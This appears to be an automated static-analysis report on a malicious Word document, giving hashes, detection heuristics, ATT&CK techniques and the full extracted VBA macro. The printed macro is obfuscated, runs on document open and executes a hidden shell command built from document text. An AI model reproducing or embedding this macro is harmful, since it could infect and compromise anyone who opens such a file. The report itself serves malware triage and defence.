Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 032d122c15ba0ca0…

MALICIOUS

Office (OLE)

134.4 KB Created: 2018-12-07 14:37:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 39097eb24d14d407984c839b4bc3db5f SHA-1: 81a877a7485b1da19d55a703c7c0e6dff5d55536 SHA-256: 032d122c15ba0ca02f1c1bb4ebcf8f11924287c90fc0a330feb15b05e1065943
252 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File

The sample contains a legacy WordBasic autoopen macro that triggers a Shell() call. This call invokes cmd.exe with execution flags, indicating an attempt to run arbitrary commands. The embedded document body contains a truncated command line that appears to be constructing a path to cmd.exe and setting up further execution, likely to download and execute a second-stage payload.

Heuristics 9

  • ClamAV: Doc.Malware.Generic-6776026-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6776026-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    . _
Shell(sVKHoCcEwiV, USSzr), wYnHhIsiI)
         Set ZDSzpvYADBPpKOTlYKMDaU = czODYubUAJaGUOuYBltu
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub autoopen()
sniLwV
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7413 bytes
SHA-256: a843982adb35d09c0b34babd85275e10555c1027b01b1c2e95d0f147fdbc856e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
181 of 227 identifiers look randomly generated (e.g. 'cvnFAJzWonZcMSUhkTENpEsd') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "viYiPWVDUW"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
sniLwV
End Sub

Attribute VB_Name = "zrMsviokUK"
Function sniLwV()
On Error Resume Next
         Set PWpbHcTbLQqjjrVQ = UijuopzBuulnGdlOvjSoGd
      ZrSwIGYrLGAoiuRajsaN = ioEnFSnLCciqDJDVqovWC
      jFoCTiFlwfQwrCNLCnk = IiRwikNFqDfqfHHzwCzI / CLng(36299883) * 115805116 / Tan(207291407) + ZHSAHilHlWRBnq - Cos(157839226) + (230794514 / Int(AusAZRjuONzocbqzO))
         Set RHnTRAbzzmqGEpwV = PivJmIYuKiGMCGEBSkWou
      mNXQTBkTTnwisqJC = wPZHRUnvfmElFchnGsil
      pWJqOTPXONsQEXYUCV = kVnOfiOKPrlwbRJJtPQCBYX / CLng(109436846) * 165285525 / Tan(83164642) + AEISEXoAABHdIAIzjd - Cos(102702722) + (111904497 / Int(uOfElSsMwXpTMOGHZhbmQJHl))
         Set sofwIqqTNREajEV = lmwhkazEMwKjkUHDViHizEs
      iakotulYKczWqGURp = lJfHitKAEBzmthuhzKq
      LRNlYIXkMOKptWSi = brrisqjbXiPbJHJbiOTvu / CLng(225452526) * 171110888 / Tan(143293217) + oprHtWOLwYTzjSbiJBZ - Cos(47963632) + (57943611 / Int(HAOPIzmqsRVEEA))
         Set UOzfppjMzlFAMuzEpdmiu = nlBWssciEsZVcGM
      HtQLhiVGPiDRFz = mnLaNiTznkThNbqSrs
      VtNicEQuGOoKYFVniQfzY = wcbOBHfZLLZTddYFiWwjMi / CLng(335809409) * 169233974 / Tan(305319142) + snIBLtMjwkGOCIPhCdl - Cos(33469172) + (182710363 / Int(OciJCpcNdBTaOrRJzjGwjow))
         Set zWuwnZGoPYOqWYWAmhHJEw = snJAjEmLpmHZwCSLrmOnv
      znWiKwzjmiApBIiZZjdMYE = wZzTVPXqJmEpVizuq
      JzZZGBKjSMiKiPtYX = McbQOrrDwTIubon / CLng(330823797) * 100039734 / Tan(30167687) + ZSwJowLLwDowwGohNmslhi - Cos(22480516) + (31089204 / Int(YXkpXkAojwqQTnTDfsAIWMo))
         Set HEujEwOODnqizoCnLYfio = qMQuZYHqLrTjwwouY
      tflPOqZvTfAouwvqOhP = XpHMbwKSsEwRAHoI
      bwaUdFbqXzVlFkHfNAEY = oPjGDPjjnmJmLmjpptk / CLng(210862799) * 146602388 / Tan(26647518) + phnUrmmGkkFnit - Cos(93028330) + (172509480 / Int(uHjKMwtzYpXHTsDjOrZQvp))
Set oUfjVo = viYiPWVDUW.Shapes(zBYfTCqX + "zDLpznRUAczd" + jGEuc).TextFrame
         Set UOmOijLdWbDsKwdjJp = fTTsKbujbaBHrXI
      FNISwKBOYUDfoaR = toSEAVcnowkDVTLVCmYWBX
      VRFUqXPvAILODEDI = lUiAZztEIhdBCvoWczmvB / CLng(246936711) * 103361071 / Tan(166943525) + kuJFIRwioljtMv - Cos(130281178) + (75359231 / Int(hpmtzMWrbGRMizFEw))
         Set wczvfRqCUwkTFwF = YhoBvBIUWAjmCfZ
      VFipJpwWYDvfjOTJQcdjaJJw = cZilDApXmzAPQzjlRd
      FdnHjWVaCsYLvlVjPRlUDGI = RTtziuvJjSqqpSzOiZmiOlF / CLng(202838834) * 311949388 / Tan(115095957) + TfIozUtqNdVvIwOfdu - Cos(200824716) + (286095540 / Int(TWmdUdffNOEMabdXdrVvbjkM))
         Set ZiCnzOrnwSzBioZtGP = lANojYROLQnjUP
      jcrCkQiKYBBUDcM = nzXtTLpVPjAjXJi
      lVEzCEfmDppmfDNlwKAk = WpYmVmDPCmPSViiYPDjUlqdW / CLng(19502452) * 277557596 / Tan(79187579) + PhMJwjPjjKjRbWADZ - Cos(132544095) + (64012303 / Int(fNjHRQLfLBjfalAVZG))
         Set wqQCjEiEfPPnMt = nwTXivPinFWUkikMfkviD
      pOsjiMTbhiESTPIf = GjMcwJjuVvCjDRKfdJF
      wNCKLXrQRPVEAKozqhsE = oMRQsiNtmqFDAat / CLng(218193052) * 10363057 / Tan(113888685) + STcGawjscLovQAWJAlu - Cos(124862670) + (295436583 / Int(XfZPAzkuRpPSmpLGqRJm))
sVKHoCcEwiV = oUfjVo.ContainingRange + zGckQaV + WKirO + PRjhU + zCIwV + ZApvjZl + mEbUATNi + jVuuwN + ciIdAQWz + vhlOldwd
         Set PKFpwmYhTCVRuQYi = NHYNViLCAvJuqlFbWjVQ
      SLvmdpbbkzWmaEwXztctnwr = ndRQqYhCOlvvdassk
      QzmIPjIDWptWGTUjzAY = lMPUXpIBuZBjJMit / CLng(190190270) * 201400806 / Tan(88306704) + InCsIribbzasUZpDiSkaY - Cos(47120060) + (57168804 / Int(oKNulaDVmnCzKXLjLjZzwIOj))
         Set YDsChLfkBEpYVTTGYCzNimB = GGWYoqtBnAJHFcOTrXNo
      aFhzwvKDNJmCOvbpGvKKnk = KLBvofVKYMsjAoYquj
      ZqWFrjmdlbDiwpkXowzVXswO = VPaAhFPbpKinFKOCCjjUiu / CLng(278168054) * 107455681 / Tan(114888066) + tvNahsIQVRLdDVnDIfGji - Cos(254825706) + (243436837 / Int(VIPtGbZKjzMUNPdlip))
         Set FKTKEIOfvGoiZDNptJpbHJWQ = wcDiEdBsKEJWhzM
      NChoRCzwlvFKZnwnDCIjLzq = nlPzETLLdkuGpbqtiEwI
      qTWHWSfpjfQLEBjnzuR = tjotpzbMOBGAiEwSsriAj / CLng(150239919) * 326678464 / Tan(33939998) + vlaKGjKfYiKidSYrTaiZ - Cos(100188629) + (191399039 / Int(ENuFLQDWijPtMACHUvVJZmoP))
         Set aiFvtwHoRKtBBzSwcJB = wLDXhuwGdiLrNzmMLX
      hmfIHfdiEpuzGCicO = hOzzBKiwCoDLFkFtTjT
      vsDPrQjkFoiVXl = JQhkUZJdobtjKsMivILf / CLng(271527381) * 68912186 / Tan(232778690) + kbwtNFinUGvdmwz - Cos(192295161) + (253559738 / Int(PowjYrsFnMMGpwhZA))
         Set KjWSfwKjofltdjNcPZudu = TKdcoNasshNJfwiu
      zBzZNKTdSYmSPVvpw = LpCHzGwmDfUEPzVJ
      cvnFAJzWonZcMSUhkTENpEsd = GnJOJpzGXSuKHLjDkIS / CLng(147696399) * 66724075 / Tan(285004245) + zWiiQvIXCJftVpIf - Cos(327649005) + (187350233 / Int(ozZWdHYJEwZHQPaJrf))
         Set ODmPzqVOIPWfCnzn = zBjVcOwRmhLszcRwzCtJz
      QjHpQaMOhvVZrC = rlpozKIJWJnEiCkGimwlAOmz
      EXAQWZlPzIREUzqHWkj = ViMwoqmsQzdwrQsmHtzj / CLng(16370344) * 273415800 / Tan(233111259) + TCJnIdddFUCaLEbjnswBiSM - Cos(29047507) + (42746789 / Int(zdkzafvScljzkm))
         Set cvbTfITIkdqnic = UIDfAlaAOschoaGdiSq
      uXUbCOVpLAAuTkztNJMQBvNa = aihiAIVrdhwnbc
      QkoOriNEdMQZFazzKuYbjo = LsfCqDAGljaARGzi / CLng(132238418) * 85573905 / Tan(173168060) + SjjPQfhltCACbY - Cos(190703275) + (145850621 / Int(fXAcFisfafsLLEOJ))
Const USSzr = 0
         Set dMLjqiooYMSQwNoQ = LdiwbdJtfzifqaJXplRjz
      VwHoMlQXnAwORpWOCiC = LiGIhlJsIcXhkkHkqmQXcI
      hibITBajijHPqswG = cYOLdPihimYPRiNDTYa / CLng(39930421) * 189439674 / Tan(278358694) + htpAcVQrrjpvEtAETzblPCT - Cos(106933030) + (16777275 / Int(MXUYAwljjRoOBMRujiciJJS))
         Set XNCkYlwjDCMlkHKokdz = oXCoudTLqAncMwz
      iDvzFVwOfLwwrEi = WwjzKOpvSlsDPjYoKBGjiz
      SboIijWUmVzGPN = zTNAjUcswwnIlpwwEYwQYWGH / CLng(95605849) * 316664961 / Tan(112912971) + hQcIaNEmSiQjpiq - Cos(73704569) + (311074968 / Int(lioXuhTwZbNGlkDWLiU))
         Set HmSZbmISYEvwwspQwUlID = GSAGMNUuQbocmpZwwRNRW
      zzbYPlQFDtjZjAYV = uzdoTJWFzqwWTvlLtTD
      nwjiKYuvMJZZdrSUtZfo = TQuSjkwuOmhVpmw / CLng(91968632) * 334484174 / Tan(195329285) + ObspRYscdRRUnOaUhoMaowA - Cos(335239814) + (152259767 / Int(DnFWGuvkZdabctqIUdwSuHP))
ZmCGRa = Array(SaUFWGKWY, owuFM, jjbWCE, Interaction _
. _
Shell(sVKHoCcEwiV, USSzr), wYnHhIsiI)
         Set ZDSzpvYADBPpKOTlYKMDaU = czODYubUAJaGUOuYBltu
      wOSvlshElQNFYpzbsAGcjOf = IwXimLSjZlikvHnBtQOsN
      wYuwIlnSMjjinm = DRawjfmLOfkMEiQznW / CLng(49043013) * 14783936 / Tan(331812238) + pChtHYuBNUAfqwotjVKMf - Cos(113913522) + (161840005 / Int(ijwkvLjkXTcXRnXNRNS))
         Set tGFGiiKFXRQUvlTzhiT = jBXiKrzjPpjqVFNqZX
      WvSNEismpjNRGQlsr = XwrjapihZzpXdYKSwZRoT
      SEHCBXdakNWHBb = pUcfWItzSDpHnULaDPW / CLng(199607324) * 257021499 / Tan(165231536) + nKEzOcBVWitGEpIwrYH - Cos(271638003) + (337152809 / Int(QpFZmTrfwlQzoVRI))
         Set cSDdkpIMkjLIfjwdNMril = UGwmjwUiAYittDCt
      IPRZhlahtrmiKhz = QzwiwFLrGimdlnsbTEiSTmmV
      FqFivqrhtdGFPKCEaSw = wvGwLOFzfjiKaHtPGJKsvwsK / CLng(251596411) * 143144211 / Tan(31557433) + fOtTnXaJjGWhksBNwviIRnz - Cos(112837034) + (51872601 / Int(DACwMpJLTRmKWDj))
         Set PbvQUwtQzouqlZV = BhwlDhuYWISXTQwMoKjjRtWh
      lXFzvdiYMbSmVDihWtMd = wjqiBappfHKQFRKpbb
      ozHpfaSHBwuzKEIoqOOt = oihTHVQmXsvShp / CLng(150489992) * 271358576 / Tan(287527624) + IjToqkIAMwdUaMhb - Cos(337648619) + (109422851 / Int(VYFCVdGzhcOmzwEGKjA))
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.